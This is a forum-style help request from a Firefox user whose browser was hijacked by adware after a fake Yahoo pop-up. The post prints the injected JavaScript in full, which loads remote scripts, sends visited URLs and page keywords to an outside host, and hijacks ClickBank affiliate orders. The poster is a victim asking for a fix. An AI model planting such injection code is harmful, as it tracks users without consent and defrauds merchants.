I'm running the latest version of Firefox. My OS is Mac 10.7.5. I use a cookie manager and, until recently, NoScript. Recently I disabled NoScript.
When logging into one of my Yahoo email accounts, I got an unusual pop-up window that by all appearances looked legit. It said something to the effect that I had not updated my marketing preferences and that I had to do so or my account would be terminated. The "Terminated" part seemed immediately fishy, but the window (popped up at the bottom of my screen), was intrusive so I tried to click on the "X" to close it. It launched another window, which I immediately closed.
Immediately after, I noticed all sorts of changes with Firefox. I ended up blocking all outgoing connections with LittleSnitch to shopping-guide-onlines.com and superfish.com. However, they're still working some evil magic.
When I use the WebDeveloper add-on to view the GENERATED source code, the following appears on ANY page I navigate to (I blotted out personal info).
<script>var scr = document.createElement( "script" );
scr.type= 'text/javascript';
scr.setAttribute( "src", "http://spns.rotatemyad.com/scripts/c07da12841ed3554e8f1a548ab1e3a57ce18a908.js" );
scr.setAttribute('async', 'true');
document.getElementsByTagName('head')[0].appendChild( scr );
var scr = document.createElement( "script" );
scr.type= 'text/javascript';
if (window.location.protocol.indexOf( "https" ) > -1) {
scr.setAttribute( "src", "https://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&userId=&CTID=mp");
} else {
scr.setAttribute( "src", "http://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&userId=&CTID=mp");
}
scr.setAttribute('async', 'true');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild( scr );
if( document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ||
document.location.href.search("•••••.com") > -1 ) {
var scr = document.createElement( "script" );
scr.type= 'text/javascript';
scr.setAttribute( "src", "http://shopping-guide-online.com/c2.php" );
document.getElementsByTagName('head')[0].appendChild( scr );
}
if( document.location.href.search("clickbank.net/order/orderform") > -1 ) {
var aff1 = "kwrdstool";
var body = document.getElementsByTagName('body')[0];
var aff2 = body.innerHTML.match(/\[affiliate = (.*?)\]/i);
if( aff2.hasOwnProperty("1") && aff2[1] != "" ) {
if( aff1 != aff2[1] ) {
var head = document.getElementsByTagName('head')[0].innerHTML;
var vend = head.match(/<!-- vs: (.*?) -->/i);
if( vend.hasOwnProperty("1") && vend[1] != "" ) {
body.style.display = "none";
var f = document.createElement('img');
f.style.width = '1px';
f.style.height = '1px';
f.style.position = 'absolute';
f.style.top = '-999px';
f.src = "http://" + aff1 + "." + vend[1] + ".hop.clickbank.net";
setTimeout( function() { window.location.href = window.location.href; }, 2000 );
body.appendChild(f);
}
}
}
}
function get_mk()
{
metaCollection = document.getElementsByTagName("meta");
for (i = 0; i < metaCollection.length; i++) {
if (metaCollection[i].name.search(/keywords/i) != -1)
{
return metaCollection[i].content
}
}
return ""
}
function add_a(a)
{
var b = document.getElementsByTagName('body')[0];
var f = document.createElement('iframe');
f.id ='ifr1';
f.style.width ='1px';
f.style.height ='1px';
f.style.position= 'absolute';
f.style.top ='-999px';
f.src = a;
b.appendChild(f);
}
function add_script(a)
{
var b = document.getElementsByTagName('head')[0];
var f = document.createElement('script');
f.id ='scr1';
f.src = a;
b.appendChild(f);
}
function contains(a, e){ for(j=0;j<a.length;j++)if(a[j]==e)return true; return false;}
function setCookie(c_name,value,exdays){ var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString()); document.cookie=c_name + "=" + c_value; }
function getCookie(c_name)
{var i,x,y,ARRcookies=document.cookie.split(";");for(i=0;i<ARRcookies.length;i++)
{x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);x=x.replace(/^\s+|\s+$/g,"");if(x==c_name)
{return unescape(y);}}}
shuffle = function(o){ //v1.0
for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);
return o;
};
function get_timestamp(){ return Math.round((new Date()).getTime() / 1000);}
function trim (myString){ return myString.replace(/^\s+/g,'').replace(/\s+$/g,'')}
var cur_loc=escape(window.location);
if( cur_loc.length<500 )
{
var scr = document.createElement( "script" );
scr.type= 'text/javascript';get_mk
scr.setAttribute( "src", "http://shopping-guide-onlines.com/search/adi/g.php?k=" + encodeURIComponent(get_mk().substring(0, 200)) + "&r=" + encodeURIComponent(window.location));
scr.setAttribute('async', 'true');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild( scr );
}var added_order=false; if(document.getElementById( "fbevid1" )!=undefined)
{
if(document.getElementById( "fbevid2" )!=undefined)
{
document.getElementById( "fbevid1" ).style.display="none";
document.getElementById( "fbevid2" ).style.display="";
}
}</script><script async="true" src="http://spns.rotatemyad.com/scripts/c07da12841ed3554e8f1a548ab1e3a57ce18a908.js" type="text/javascript"></script><script async="true" src="http://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&userId=&CTID=mp" type="text/javascript"></script><script async="true" src="http://shopping-guide-onlines.com/search/adi/g.php?k=&r=http%3A%2F%2F••••••••.html" type="text/javascript"></script>
I haven't found any publications that offer fixes for this. Clearing cache did nothing. This is infuriating because it was done underhanded, and as I understand, there are MANY big companies that use shopping-guide-onlines, superfish and rotatemyad. If that's the case, they're all crooks.